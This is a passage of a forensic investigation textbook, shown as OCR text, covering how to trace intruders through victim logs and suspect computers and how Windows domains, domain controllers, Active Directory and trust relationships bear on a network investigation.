seized at the victim organization often leads not directly to the attacker but rather to another
victim. It is important that you perform your analysis quickly so that you may contact the other
victim location and obtain their logs and other sources of evidence before so much time has
elapsed that their logs have rotated and been lost forever. A clever attacker will make you repeat
this process several times before you manage to find her actual IP address and location, so make
certain that you perform each step of your analysis as quickly as you can accurately do so. Also,
don’t forget to issue preservation letters as soon as possible to keep any evidence intact while
you arrange to collect it.

As part of your initial interviews, you learned a great deal about the network and its normal
usage. You should look for connections to the network that break from these normal usage pat-
terns. For example, in a network that has many users in the northeastern United States, connec-
tions from Brazil might be suspicious. Similarly, a company that is staffed from 9:00 a.m. to 5:00
p-m., Monday through Friday, might not have a great deal of legitimate network activity at 1:00
a.m. on a Sunday. The existence of such activity is, again, what we call a clue.

Attackers will frequently create or modify accounts in order to ensure that their control of
the system can be maintained. Look for accounts that have been modified since the date of the
incident. Also, check all accounts that have increased privileges on the system and confirm that
each one is a legitimate account. Chapter 2 addresses this issue in more detail and outlines how
to identify accounts with elevated privileges; Chapter 14, “Other Audit Events,” discusses the
log entries that Windows generates when accounts are created or modified.

Similarly, hackers also usurp accounts that have previously been inactive or disabled, so
look for accounts that are suddenly being used after long periods of inactivity. Chapter 4,
“Windows Password Issues,” discusses many of the ways that hackers obtain passwords for
valid accounts in order to disguise their activity as normal network traffic. In addition, rogue
insiders may already have an account on the system that they are utilizing to perform unauthor-
ized acts. If you do identify an account that is being used maliciously, be certain to document
as much of that account’s activity as possible. Chapter 13, “Logon and Account Logon Events,”
details the Windows auditing capability for user logons and shows how to use those logs to
track user activity on the system.
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Many attackers attempt to hide the evidence of their presence by altering or deleting logs.
These alterations may result in large gaps in log files that in themselves can be evidence of a
crime. Sometimes the event that tipped off the victim organization to the presence of an inci-
dent is the deletion of all of their system logs or the disabling of the logging functions on victim
machines. Chapter 13 shows you how to correlate logs from various systems so that if one sys-
tem is not logging or has had its logs altered or erased by the attacker, other evidence can still
be located and used to document the attacker’s actions. Chapter 15, “Forensic Analysis of Event
Logs,” demonstrates how to recover deleted log records.

If a computer has been intruded upon, the hacker may have targeted that machine for a
specific purpose, especially if the computer in question stores particularly sensitive or valuable
data. Focus on files that are known to be compromised, suspected to be compromised, or likely
to be targeted. Analyze which users have accessed those files and whether each access was
legitimate. Chapter 14 discusses the Windows file access audit capability and how to use it to
perform such an analysis.

Many network services are required to successfully perform work within the network, and
many of the computers that provide these services will generate logs of their activities. By exam-
ining these logs, you can gain valuable insight into activities throughout the network. Chapter
11, “Analyzing the Logs,” deals with services such as DHCP that may generate logs as soon as a
computer connects to the network. Chapter 13 details the role of the domain controllers in grant-
ing access to many network resources and illustrates the logs that they create.

Many intruders will install software on a victim system that performs unauthorized func-
tions and/or reports back to the intruder. It is important to know what malicious software (also
called malware) has been installed on any victim system. Identifying malware and its function
can help you learn more about the attacker, gain insight into his purpose, identify other com-
promised systems, and lead to other sources of evidence or security concerns. For example,
identifying that a piece of malware left by an attacker on one system is being used to capture
valid usernames and passwords that are usable throughout the network would greatly impact
the scope of your investigation. Often the attacker will install the malware in a way that ensures
that it will restart whenever the system is rebooted. Chapter 9, “Registry Evidence,” shows you
how to analyze the registry and other locations to help locate installed malware.

Malware can do many different things to the victim system, from monitoring network com-
munications to providing a backdoor through which the intruder can reenter, but it can be
difficult to detect. Chapter 5 discusses many of the common Windows services and ports to
help you recognize the software that is supposed to be on the victim machine and to help you
better identify the malware that is not supposed to be there. Chapter 6 deals extensively with
techniques used to query the RAM of a running system to identify malware and document the
effects that malware may be having on the system at that moment. Finally, Chapter 3, “Beyond
the Windows GUI,” talks at length about a special category of malware known as rootkits, which
have the ability to hide their presence on the victim system while exerting a great deal of control
over that system.

There are many different types of information that can further any network investigation
and many different techniques to identify, collect, analyze, and understand that information.
This book focuses on the elements that are unique to a Windows environment, while leaving
more general sources of evidence such as IDS logs, firewall rules, and the like to be discussed by
others. It is vital that you never lose sight of the fact that any network—be it based primarily on
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Microsoft, open source, or other platforms—will have many different pieces of evidence avail-
able within it, and it is your job to know how to properly handle all of it.

Analyzing the Suspect’s Computers

After analyzing the evidence from the victim network, you will hopefully have developed
enough information to spur your investigation in the correct direction. Law enforcement will
serve subpoenas for outside IP addresses that were used by the attacker, possibly leading you to
other victim networks and even more evidence to be analyzed. At the end of this process, you
will (hopefully) arrive at an IP address being used directly by your attacker, obtain a subpoena
for the provider to whom that address is assigned, and identify the computer that your attacker
was using to perform the evil deeds that spawned the investigation in the first place.

At this point you have discovered another valuable source of evidence: the suspect’s equip-
ment. When searching the suspect’s home or office, be aware of the many possible pieces of
useful information that you might find. Obviously, you will want to seize the suspect’s com-
puter (and in a forensically sound manner), but don’t forget the many other potential sources of
evidence. A savvy attacker will often store incriminating files on removable media, physically
hidden somewhere they are hard to find. When you consider the wide array of digital media on
the market today, there is virtually no place that cannot hide some form of storage device. Make
certain that any search warrant that you obtain contains appropriate language to allow you to
search for any electronic, magnetic, optical, or other storage media so that you may perform a
thorough search of the area. Attackers also frequently have printouts, scraps of paper, or other
notes lying around that contain usernames, passwords, IP addresses, computer names, and so
on. Ensure that your warrant contains appropriate language to allow you to seize this very valu-
able evidence.

Attackers generally perform a recon of their intended target to determine the structure of
the network, locate potential vulnerabilities, and develop an idea of which machines are most
valuable to the attacker. They will then exploit a vulnerable system and gain a foothold within
the network from which they can perform further recon, launch further attacks, set up rogue
sniffers, and perform other steps to increase their influence within the network. As the attackers
gain control over more boxes, they will add rogue processes, install backdoor listeners, and oth-
erwise embed into each system to ensure that the boxes remain under their control. When valu-
able data is discovered, the attackers will exfiltrate that data from the victim network to store or
possibly to sell. Each of these steps has the potential of leaving evidence for you to find not only
at the victim’s location but also on the computers that the attackers are using.

Once you have located and properly collected the evidence from your suspect, you must ana-
lyze that evidence to try to tie the suspect to the incident. There are many types of evidence that
you can use to accomplish this task, and we will explore some of the more common ones here.

The suspect may frequently have performed open-source intelligence gathering about the
victim network. Most organizations offer entirely too much information about themselves and
their networks to public access over the Internet, and many attackers will use this against the
victim by culling through these pieces of information to assist in their target recon. Attackers
typically map out as much information as possible about the victim organization and its net-
work. Information about personnel can be used for social-engineering and spear phishing
attacks. Information about projects being performed by various divisions or offices can be used
to help the attacker focus the attack on the areas most likely to yield the information being
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sought. Finally, information about the network’s structure and uses can help the attacker find
vulnerabilities through which to compromise the network. You should carefully search the sus-
pect’s data for any mention of the victim organization, its IP addresses, personnel, or network.
All of this can be useful evidence if the case goes to trial. Chapter 9 discusses some of the places
where this type of evidence might be located on the suspect’s computers.

@ Real World Scenario

SEARCH, SEARCH, AND SEARCH AGAIN

When it comes to executing search warrants, a search for digital evidence can be one of the most
difficult types of warrants to serve. When executing a search warrant for crack cocaine, you can
search anywhere in the named property that a single rock of crack could be located—effectively
anywhere in that property. The same applies with digital evidence. Modern removable media can
be even smaller than a crack rock, and your search should be performed with that level of thorough-
ness. To illustrate the point, here are just a few of the places that we have found digital evidence:

& ASecure Digital (SD) card was hidden under the paper inside of a tin of Altoids mints.
& Digital evidence was stored in cell phones and digital cameras.

& Anpiece of Juicy Fruit gum was removed from a pack and replaced with a Sony Memory Stick,
which was then wrapped in the original Juicy Fruit wrapper and placed back in the pack.

& Aharddrive was placed in a plastic bag, hung on a coat hanger, and then hidden by a shirt hung
on top of it on the hanger.

& Inthe middle of large collection of commercial audio CDs, one CD was removed from its case
and replaced with a CD-R containing evidence.

There are many other possible places to store digital evidence. Watches, pens, Swiss army knives,
and even dolls that contain USB flash drives are being marketed. Micro SD cards are about the size
of a fingernail but able to store gigabytes of data. Video game machines and digital video recorders
can be modified to store data and then connected to a home network to allow ready access to that
data from any computer. In short, ensure that your searches are adequately thorough so that you
don’t miss a vital piece of evidence that would seal your case for the prosecutor.

You should search for any files that may have come from the victim organization’s comput-
ers, since such evidence is as damning as stolen televisions or any other stolen property. By
using hash analysis techniques, you can quickly scan the suspect’s machine for any proprietary
files that might have been taken from the victim systems. This can be a powerful source of evi-
dence and give you a great deal of leverage with the suspect in subsequent interviews.

During your analysis of the evidence from the victim network, you likely performed tool
analysis on any tools left behind by the attacker. If you find those same tools on the attacker’s
systems, that is obviously great evidence linking that computer to the crime. In addition, if your
analysis determined that the attacker compromised a particular service on the victim machine,
the presence of hacker tools capable of exploiting that service is also powerful evidence. Finally,
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the presence of tools commonly used to recon and attack computers, such as scanners, sniffers,
exploit scripts or toolsets, rootkits, and mass rooters, can also be evidence in your investigation.

TOOLS OF THE TRADE

Hackers rely on a wide array of tools to perform their evil deeds. For those who are not familiar
with this terminology, here’s a brief summary of some of the main categories of tools used by
attackers:

Scanner/Port Scanner A scannerisa tool used for target recon that attempts connections
to multiple different ports on multiple machines. A scanner can provide a great deal of infor-
mation regarding the open ports and services on a target system, providing details such as
the operating system used, the services offered, the ports to which the services are listening,
and the versions of the OS and services. For further information, read about Nmap, one of the
hacker scanners of choice, at www.insecure.org.

Sniffer This is a software package that uses the computer’s existing network interface
card to monitor the traffic that the computer is able to receive. Sniffers can be general-pur-
pose sniffers, which are designed to capture any type of network communication, or they
can be specialized sniffers that are configured to scan for particular types of information
such as usernames, passwords, and so on. For further information read about Wireshark
(www.wireshark.org)and Cain & Abel (www.oxid.1t).

Trojan Any program that purports to have a useful function but instead performs a mali-
cious function is generically called a Trojan horse, or simply Trojan. Hackers will frequently
replace common system commands with Trojanized versions that perform a similar func-
tion to the real system tool but also conceal information from the user or perform some
other malicious function. Rootkits (discussed in Chapter 3) frequently contain a number
of Trojans.

Mass Rooter This multipurpose tool both scans for a known vulnerability and then actively
exploits that vulnerability. Mass rooters can compromise numerous systems in a matter of
minutes.

Exploit Anymethod of taking advantage of a vulnerability on a target system to gain unau-
thorized access to that system or its resources is generically called an exploit. Exploits can
exist as source code, as compiled executables, or as modules for a more complex framework.
For an example, read about the Metasploit Project (www.metasploit.com).

The suspect might have logs on her own systems showing connections to the victim organi-
zation. We have found history files on suspect machines detailing every command typed by the
attacker and recorded perfectly for presentation in court on the suspect’s own machine. Routers
and wireless devices owned by the suspect can also maintain connection logs that can be used
against an attacker. Also, remnants of the commands used to perform the attack might still
exist in slack space or in the registry of the suspect’s computers. Perform a thorough search of
the suspect’s computers for any ties to the victim organization, its IP addresses, and its machine
names. Chapter 9 explores this issue in more detail.
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Attackers will frequently discuss their exploits with other people. Some like to brag about
their technical accomplishments and how many systems they “own,” while others may be
attempting to sell the compromised information to the highest bidder. Regardless of their intent,
remnants of electronic communications made from the attacker to other individuals can fre-
quently be found on the suspect’s computers. Check for emails, chat logs, website postings, and
other sources of communication to see if your suspect made admissions to others that can be
used against her in the interview room and in court.

@ Real World Scenario

TALKING THEMSELVES INTO A CORNER

We once investigated an intrusion into a government system in which the logs showed an attack
being flawlessly executed against the victim machine from a particular IP address. Within 60 sec-
onds of that attack, six more identical attacks were initiated from six different, geographically
distributed IP addresses. This was the digital equivalent of, “Hey bud, watch this!” The suspect
had gone into an IRC chat room to show his other hacker buddies the new attack that he had discov-
ered, and each of them then tried the same attack. Our suspicions were confirmed after multiple
simultaneous search warrants were executed, and the suspects confirmed our theory during their
interviews.

Remember that any link that you can find on the suspect’s computers to the victim organiza-
tion can be powerful evidence. In addition to making wonderful fodder for a jury, this type of
evidence can also be used to provide the suspect and her attorney with an incentive to cooper-
ate with your investigation. The suspect’s computer is also likely to give you additional leads
into other machines that were compromised by the attacker, generating even more cases and
charges. Frequently, when faced with overwhelming evidence in one attack, the suspect will
cooperate by providing information about other attacks and allow you to identify and assist
other victims.

Recognizing the Investigative Challenges of
Microsoft Networks

Many excellent books have been written about responding to computer incidents, but the major-
ity of these books discuss the topic in broad terms without addressing the specifics of any given
platform. This book takes the next step in dealing directly with networks that rely primarily on
Microsoft products to provide the majority of their core network functions.

The primary obstacle faced by security practitioners of Microsoft-based networks is the
proprietary and closed nature of the source code. Unlike open-source alternatives, Microsoft’s
products are distributed only as compiled executables without any accompanying source code.
As a result, in order for anyone to determine how the product reacts to any given situation, the
product must be set up in a test environment and subjected to that situation. With open-source
options, the source code for the product can be analyzed to make determinations of how the
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product is supposed to handle certain eventualities. This is not necessarily a security problem
with Microsoft products. Indeed, it could be argued that protecting the source code actually
enhances the security of the product since potential attackers are not able to parse through it to
locate vulnerabilities. Despite the philosophical arguments that always accompany the open-
source versus closed-source debate, it does limit the options available to those who investigate
intrusions within a Microsoft network.

Examples of how this can hamper the investigative process can be found in the Microsoft log
files. Most of the logs stored on a Linux/Unix platform are plain-text logs. They can be searched,
grouped, or sorted using any text editor or other utility that can read text. By contrast, the sys-
tem logs on Microsoft systems are stored in a proprietary, binary format that requires special
software to even read them. Since source code is not available for the Microsoft operating sys-
tems, you cannot analyze it to determine how the OS will record particular system events.

Since you cannot do your own analysis of the code, you must rely heavily on documentation
provided by Microsoft (or others) and on independent testing to accurately report how the OS
will respond to certain events. Unfortunately in many cases, such as log analysis, the available
literature is fairly sparse. This means that you must put a great deal of work into determining
how the operating system records events before you can even begin to use those recorded logs
to make our case. Fortunately, this book outlines the major functions of the operating systems
of which you will need to be aware and will show you how to use those functions to conduct a
productive investigation.

The Bottom Line

Gather important information from the victim of a network incident. It is important to
properly vet any report of an incident to ensure that the appropriate people and resources are
utilized to address every report. As the number of reported incidents continues to rise, this
requirement becomes more and more important to ensure the most efficient utilization of
limited agency resources.

We outlined various questions and considerations that any investigator responding to an
incident should keep in mind when first interviewing the members of the victim organiza-
tion. The steps you take at this stage can set the tone for the rest of your investigation and are
vital to a rapid and effective response.

Master It You are called regarding a possible computer intrusion into a defense contrac-
tor’s network. After performing an initial interview with the reporting person by phone,
you feel confident that an incident has occurred and that you should continue your inves-
tigation. What steps would you next take to gather additional information to launch an
investigation?

Identify potential sources of evidence in a network investigation. Evidence within a
digital crime scene can be located in many different places. It is important to consider how
data flows through a network to determine which network devices may have recorded infor-
mation that can be of evidentiary value. In addition to logs that may be kept on the victim
computer, explore logs generated by firewalls, IDSs, routers, wireless devices, authentication
servers, and proxy servers that may have recorded information about the attack.

Master It You are called to a company where they suspect that a disgruntled system
administrator has accessed the company’s database from outside the company and
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deleted multiple important records. The logs on the database server have been deleted,
leaving no trace of the attack. What are some other possible sources of evidence for this
incident?

Understand types of information to look for during analysis of collected evidence. After
the evidence is properly secured, the analysis phase should be completed as quickly and
accurately as possible to allow time to follow up on any other investigative leads that the
analysis may suggest. The analysis should be thorough and may be time-consuming, but as
new investigative leads are discovered, you should take immediate action to preserve that
evidence for later collection.

Once suspects are located, a thorough search for digital evidence should ensue to gather

all possible evidence of their involvement in the incident. As analysis of collected evidence
occurs, you may uncover evidence that proves the reported incident along with evidence of
crimes that were not previously known. Thorough analysis and interviewing may lead to the
discovery of multiple other victims and other crimes.

Evidence to search for will depend on the specific investigation, but common items of interest
include the following;:

¢ Access around the time of the suspected incident

Access at unusual times or from unusual locations
Repeated failed access attempts

Evidence of scanning or probing that preceded the incident
Data transfers that occurred after the incident

Evidence of the victim’s files, IP addresses, and the like on the suspect’s computers

® & ¢ o 0o o

Detection of known malicious software or exploit methods

Master It While investigating an alleged attack against a local government finance
server, you locate and seize a computer believed to have been used by the suspect. What
are some types of evidence that you should look for on the suspect’s computer?






The Microsoft Network Structure

One of the issues that make performing a network examination in a Windows environment
particularly challenging is dealing with the many Microsoft-specific terms and concepts. This
chapter will explain networking “the Microsoft way” and serve as a basic networking primer for
those who are not familiar with how Microsoft structures its network environment. In addition,
this chapter will illustrate how attackers can take advantage of many of these network functions
to do evil within the network. For those readers who are already Microsoft Certified Systems
Engineers, IT Professionals, Masters, Architects, or whatever other certification Microsoft may
have created by the time you read this book, you may want to briefly skim this chapter to pick

up on some of the hacking-specific information (on which Microsoft training, for some reason,
doesn’t tend to focus) and then proceed to Chapter 3, “Beyond the Windows GUI.” For all other
readers, the information presented in this chapter will be vital, so please make sure that you
understand it clearly before diving into the more advanced material that follows in subsequent
chapters. Since this book is written for incident investigators and not network administrators, we
will provide a high-level view of many of these concepts. This will involve some simplified expla-
nations and omit some of the more esoteric facts involving Microsoft environments, but it will get
you up to speed on what you need to know to conduct an effective investigation without getting
too bogged down in minutiae. That being said, for readers who want further information or clari-
fication on the issues discussed in this chapter, we recommend Mastering Windows Server 2008 R2
by Mark Minasi, et al. This book is a continuation of Mark’s best-selling line of Windows books
and provides a great one-stop-shopping reference book for Microsoft networking concepts.

In this chapter, you will learn to:

¢ Explain the difference between a domain and a workgroup as it relates to a network inves-
tigation

¢ Explain the importance of groups within a Microsoft network

¢ Understand file permissions as they relate to accessing remote resources

Connecting Computers

The basic unit of any network is the computer. Computers in a Microsoft network can run any
of the various Microsoft operating systems—and even open-source or other vendors’ operating
systems. When we discuss a Microsoft environment, we are not limiting ourselves to networks
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that use only Microsoft products, but rather we mean networks that rely primarily on Microsoft-
based systems to provide the core structure and function to the network.

Within a network there are two general categories of computers: servers and clients. It is impor-
tant to understand that these are definitions of each computer’s function, not its specific hardware
components. A server is simply a computer that waits for requests from other computers and
then performs some action in response to these requests. A client is simply a machine that makes
requests for services from servers. Computers are capable of performing both of these roles. For
example, your desktop computer may be a client when you open Internet Explorer and browse
to your favorite website (undoubtedly www. sybex. com), but it is also acting as a server when you
share a folder on your system and allow other computers to access the files inside that folder.

Typically, networks have some machines dedicated primarily to offering services to the rest
of the network. These server machines usually consist of more expensive hardware with greater
processing capability and fault-tolerant components. This ensures that the server computers can
handle the increased demands that their server roles place upon them and helps keep them oper-
ating—even in the face of many types of hardware failure. Systems that are intended for this pur-
pose generally run one of the server-class operating system choices. Products like Windows 2000
Server, Windows Server 2003, and Windows Server 2008 include licensing for more simultaneous
user connections, extra network service offerings, and the ability to utilize more advanced hard-
ware. Microsoft typically refers to any computer running one of these designated server operating
systems as a server, despite the fact that even its client operating systems offer server capability.

The remaining computers within a network are generally intended for use by end users and
will be referred to as client or workstation machines. Don’t lose sight of the fact that these comput-
ers can still act as servers, with a client machine running a rogue FTP or other server component
compliments of an industrious intruder. The Microsoft products that primarily serve in the role
of a client include Windows 2000 Professional, Windows XP, Windows Vista, and Windows 7.

WINDOWS VERSION NUMBERS

Microsoft assigns internal version numbers to each of its operating system products. These ver-
sion numbers can appear during the course of an investigation in various places such as Internet
Information Server (11S) logs. Here is a list of the more commonly encountered version numbers
and their associated product lines:

Version: Product Name

3.1: Windows NT 3.1

3.5: Windows NT 3.5

3.51: Windows NT 3.51

4.0: Windows NT 4.0

5.0: Windows 2000

5.1: Windows XP

5.2: Windows Server 2003

6.0: Windows Vista and Windows Server 2008

6.1: Windows Server 2008 R2 and Windows 7
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When it comes to connecting all of these computers together so that they can exchange data,
there are two different logical models used in the Microsoft world: workgroups and domains. A
workgroup is the Microsoft term for a peer-to-peer network arrangement. In a workgroup, each
computer is an island unto itself, but there are bridges built between each of these islands over
which information can be exchanged. Each computer has its own list of authorized users and
passwords, each maintains its own security rules, and each has its own Administrator account.
If a new user joins the workgroup and needs to access all of the computers within the work-
group, a new account must be created on each of the participating computers. Clearly this solu-
tion does not scale well to organizations requiring more than a handful of computers. Within a
workgroup, an individual computer can still act as a server, a client, or both a server and a client.

The second logical organizational structure is the domain. A domain is a collection of com-
puters with centralized administrative control and authentication. While the same network
cables, switches, and routers may be used to physically connect the computers in a workgroup
or a domain, a domain adds some logical organization and centralized control to the network
that ease administrative tasks. For example, in a domain environment, if a new user joins the
organization and needs access to all of the participating computers, a single account can be cre-
ated on one computer and then used to access all computers within the domain. This central-
ized administrative control is the biggest advantage to a domain over a workgroup. As you will
see, domains add a wide range of administrative options but also require additional network
resources to support this new functionality.

Windows Domains

A Windows domain represents both a security and administrative boundary within a Windows
network. Computers and users can be added to or removed from a domain. Joining a computer
to a domain means that it must abide by certain rules, or policies, that are enforced throughout
the domain. It also means that it must give up some of the autonomy that is enjoyed by stand-
alone computers by giving over much of the responsibility for determining which users may
access it to the domain’s administrator.

Domains consist of three general types of computers running the Microsoft operating
systems:

Domain Controllers (DCs) All DCs run a server version of either Windows NT, 2000, or
Server 2003. In addition, each DC offers a variety of services to the network that allow for
centralized authentication and administration. We will examine DCs in more detail later in
this chapter.

Member Servers Any computer in a domain that is running a server version of a Microsoft
OS but not serving as a domain controller is said to be a member server.

Client Computers Also called workstations, these are computers that are running a non-
server version of a Microsoft operating system.

Domain controllers provide a central source of security and administrative control to a
Windows domain. The domain controllers maintain a list of accounts that can be used to access
machines throughout the entire domain, and as a result they are largely responsible for deter-
mining what users can and cannot do within the network. Also, domain controllers enforce
networkwide policies that impact important security settings such as logging and password
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requirements. For these reasons, domain controllers are arguably the most important machines
in a Microsoft domain environment and are a prime target for attackers.

Windows NT first introduced the concept of the domain controller to the Microsoft world
(although a similar concept called a Network Information Service master server, aka Yellow
Pages master server, had already existed in the Unix world). Back in the NT days, DCs existed
in a hierarchy. The primary domain controller (PDC) was the top-level machine on which an
administrator could make changes that would impact behavior throughout the network. Under
the PDC were the backup domain controllers (BDCs). These machines maintained most of the
information stored on the PDC, but they could not be directly modified. They served as read-
only copies of the PDC that were available to help offset the load on the PDC and provide a level
of redundancy if the PDC were to fail.

With the introduction of Windows 2000, the hierarchical construct of domain controllers
within a domain evaporated, leaving us with a series of equally important, equally modifiable,
self-synchronizing domain controllers. Changes could be made on any DC, and those changes
would replicate to the other DCs. All DCs enforce policy and access changes throughout the
domain as specified by the administrator. Since Windows 2000, all DCs are equal, and the con-
cept of a PDC/BDC relationship has disappeared. Despite the basic equality among domain con-
trollers, each domain is still required to maintain two DCs to provide fault tolerance. If no DC
were available to authenticate user requests, then the domain would rapidly grind to a halt. By
having at least two DCs in every domain, the chance of a hardware problem in a DC crippling
the rest of the network is reduced.

WHAT TYPE OF DOMAIN ARE YOU RUNNING?

Microsoft categorizes domains based on the version of the operating system being used for the
domain controllers. A domain can consist of any version of Windows computers, but the domain as
awholeisidentified by the version of the operating system being used on the domain controllers.
If all domain controllers are running Windows Server 2008, the entire domain is said to be a Server
2008 domain. If all domain controllers are running Windows 2003 Server, the domain is said to
be a Windows 2003 domain. In almost all cases, Windows 2000 domains have been upgraded by
now to Windows 2003 or Windows Server 2008. While you may still run into Windows 2000 or
even NT servers in the field, these machines will likely be serving as member servers providing
access to some legacy system.

Regardless of the version of the server operating system being used, domain controllers serve
a similar function. The DC is the central authentication authority for the network. Accounts
created for a user on a DC can be used by that user from any machine within the domain to
access any other machine within the network (subject to any access restrictions imposed by the
administrator). The domain controllers house the authoritative list of all of the domainwide
accounts and their associated password hashes (which we will cover in more detail in Chapter 4,
“Windows Password Issues”). Domain controllers are also used to set and enforce various poli-
cies throughout the network. Settings changed on a DC can cause every computer in the domain
to alter its logging capability, set minimum password requirements, establish login restrictions,
and provide a plethora of other configuration options. With all of the power and authority that
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are vested in every DG, it is no wonder that they are among the most sought-after targets by
attackers. Having control of the domain controller is having control of the domain.

Now that you have a basic understanding of domains and domain controllers, we’ll look at
another administrative tool that was introduced to the Windows product line with Windows
2000: Active Directory. From an administrator’s perspective, Active Directory (AD) was a major
step forward in centralizing control of policies within a domain. Just as the registry is a data-
base used to store configuration information for a single system (which we will examine in more
detail in Chapter 8, “The Registry Structure”), Active Directory stores configuration information
for the entire domain. In addition to policy information, Active Directory contains information
regarding all of the domainwide user accounts mentioned previously in a file called ntds.dit,
which we will discuss in more detail throughout this text. Each domain controller maintains a
copy of Active Directory, and each DC synchronizes its copy of Active Directory to those of the
other DCs every few minutes to ensure that any changes are rapidly replicated throughout the
entire domain.

Along with Active Directory came the concept of Group Policy. Group Policy is the means by
which an administrator can alter and enforce policies to some or all of the computers within the
domain. The amount of granularity with which an administrator can set policies using Group
Policy is truly mind boggling. Through Group Policy, software can be pushed to machines,
updates can be required and installed, account access restrictions can be established, and a wide
array of other system configurations can be set. As a result of the huge array of options available
through Group Policy, it can be both a source of enormous benefit and enormous frustration to
network administrators.

KEY TERMS

Here’s a list of some of the key terms that you will run into when interviewing administrators
about a modern Windows network’s structure:

Domain Controller Server computers used for centralizing network configuration and
security. Domain controllers maintain the list of all authorized domain users as well as store
and enforce network policies. Domain controllers store and replicate Active Directory.

Active Directory Effectively a database that stores configuration information about the
domain. Information stored in Active Directory includes user account names, user account
password information, organizational structures of the domain, and domain policies includ-
ing Group Policy.

Group Policy Stored in Active Directory, Group Policy specifies which policies will be
enforced on different users and computers throughout the domain. Administrators use Group
Policy to make configuration changes across all or part of a domain.

Interconnecting Domains

An organization such as a university or a company may utilize various Windows domains.
This can occur for any number of reasons including but not limited to the merger of two com-
panies that each have an existing domain, an organization that is geographically distributed
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into numerous different subgroups, and the need to establish different security controls and
schemes within different logical groups (such as a stronger password policy for any system in
the Research and Development division).

Domains can be related to each other in a hierarchical structure, where one domain is sub-
ordinate to another. This is referred to as a parent-child relationship, and the parent and child
share a common namespace. For example, if the parent domain were named example.com, then
the child might be named seattle.example.com or research.example.com, but its name must end
in example.com (a contiguous DNS namespace). This creates a domain tree, similar to a fam-
ily tree, in which a parent may have a child domain, which can have yet another subordinate
grandchild domain. Figure 2.1 shows an example of a domain tree in which multiple domains
are related to one another in a hierarchical structure. Note that each domain is represented as a
triangle in accordance with typical Microsoft networking convention. The key thing to remem-
ber about a tree is that all of the domains share a common namespace (they all end in the same
domain name, in this case example.com).

An organization can also contain multiple domains that are not related to one another in a
hierarchical way, meaning that they are not part of the same tree. If a domain does not have any
child or parent domains, it is said to be its own tree (since a tree is a group of domains that share
a common namespace, an isolated domain is its own tree). In addition, a network may have mul-
tiple domains, some that are related hierarchically to one another (and that share a namespace)
and some that are separate domains in a different namespace. Since one organization can have
a network that consists of multiple trees, a group of domains or trees that are part of the same
organization is called, conveniently enough, a forest. Figure 2.2 shows a collection of multiple
domain trees organized into a forest. Note that one tree consists of only one domain.

FIGURE 2.1

A typical represen-
tation of a Micro-
soft domain tree
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FIGURE 2.2
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In Figure 2.1 and Figure 2.2 you might have noticed that the various domains are connected
by lines. These lines represent a trust relationship that exists between domains. When a trust
is established between two domains, one domain (the trusting domain) agrees to allow users
from the other domain (the trusted domain) to log on to its systems. There are multiple different
types of trusts possible in a Microsoft environment, and a full treatment of the topic is beyond
the scope of this book (see the sidebar titled “Seeing the Forest for the Trees”); however, as you
will see later in this chapter and throughout the book, trusts are a factor that must be considered
by the investigator when analyzing a network crime scene.

SEEING THE FOREST FOR THE TREES

Managing the relationships between different Microsoft domains, trees, and forests can make
even a veteran Windows administrator’s head ache, and anything more than an overly simpli-
fied treatment of the topic is beyond the scope of this book. The key for a network investigator to
understand is that domains can be bound to one another by trust relationships, and it is vital to
ensure that any relationship between varying domains within any particular organization is fully
understood during the initial interview with the administrators. For a more in-depth treatment of
trees, forests, domains, subordinate domains, and the relationships and data sharing that occur
between them, consult Mastering Windows Server 2008 R2 by Mark Minasi, et al.

When a trust exists between domains, those domains have agreed to exchange a large
amount of data about one another. When one domain trusts another, it also opens its doors to
users of the trusted domain to log on and request access to its resources. This can greatly impact
an investigation since the pool of authorized users grows whenever a trust relationship is estab-
lished. Domains within the same tree have an automatic trust established between them, allow-
ing users in a child domain to log on to parent domains and vice versa. The nature and extent of
the trust between domains can be altered by the administrators, and additional restrictions can
be placed on interdomain authentication and access to resources within either domain; however,
it is important for the investigator to determine what authority users in one domain have within
other trusted domains. Being aware of the existence of trust relationships and having a basic
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understanding of their functions will allow you to explore the details more thoroughly when
interviewing the system administrators.

@ Real World Scenario

DOMAIN TRUST RELATIONSHIPS IN A NETWORK INVESTIGATION

As we discussed in Chapter 1, “Understanding and Exploiting Windows Networks,” it is vital that
you understand the network environment in which your investigation will take place. A large part
of this understanding in a Windows environment involves the organization’s domain structure.
Take as an example the network shown here:

east.
example.com

west.
example.com

research.east.
example.com

Let’s assume that you are called by the administrator of research.east.example.com. He tells you
that they have received a letter from someone who claims to have stolen sensitive research material
thatis housed only on a server in the research.east.example.com domain. The person also included
some hard copies of the research data that proves she has possession of at least some of the data.
The letter demands that the company pay $500,000 or the research will be provided to competitors,
resulting in a huge financial loss in research and development expenses.

The administrator cannot find any evidence of a compromise to the file server that houses the
compromised files, and the file server will not accept connections from external IP addresses. The
administrator suspects that an authorized user has taken the information and asks for your help
in locating the rogue insider.



WINDOWS DOMAINS

The administrator explains that the lines connecting the various domains represent two-way
transitive trusts (the default in Windows 2000, Server 2003, and Server 2008 domains). As a
result, any domains that are connected by a line trust the users from the other domain and will
allow them to authenticate to either domain. Since the trust relationships are transitive, trusting
adomain also extends a trust to any other domain that it trusts.

For example, the west.example.com domain trusts the example.com domain. Therefore, users
in example.com can log on to the west.example.com domain and vice versa. The domain east
.example.com also trusts example.com; therefore, users in east.example.com can also log on to
example.com and users in example.com can likewise log on to east.example.com. The transitive
nature of the trust extends the relationship even further. Since east.example.com trusts exam-
ple.com, and since example.com trusts west.example.com, east.example.com also trusts west
.example.com and vice versa. Accordingly, users from west.example.com can log on to east
.example.com and users from west can log on to east. The same concept applies to research.east
.example.com, with the transitive nature of the trust relationships extending logon rights all
the way up the tree and back down again to the users of west.example.com. Any user from any
of those domains could have logged on to the research.east.example.com domain.

Asyou can see, the scope of your investigation and your pool of suspects can be greatly impacted by
the existence of trust relationships. Trust relationships can be tricky, but it is important that you
talk to the administrator about their existence and understand what privileges and permissions
are given to the users of any trusted domain so that you can adjust the scope of your investigation
accordingly. Imagine if example.com had recently acquired another organization called bigfirm
.biz, establishing a two-way, transitive trust between the roots of the two domain trees. The new
network might look something like the diagram shown here:

example. bigfirm.
com biz

west.
example.
com

sales.
bigfirm.
biz

marketing.
bigfirm.biz

corp. govt. n.
sales. _sales. marketing.
example.com bigfirm.biz bigfirm.biz bigfirm.biz

Now people from any of the bigfirm.biz subdomains could also be in your pool of suspects, depend-
ing on any additional restrictions that the administrator may have set (we will look at some of
those possible restrictions later in this chapter). While a full understanding of the complexities
of trust relationships, their impact on network replication traffic, and other subtleties are not
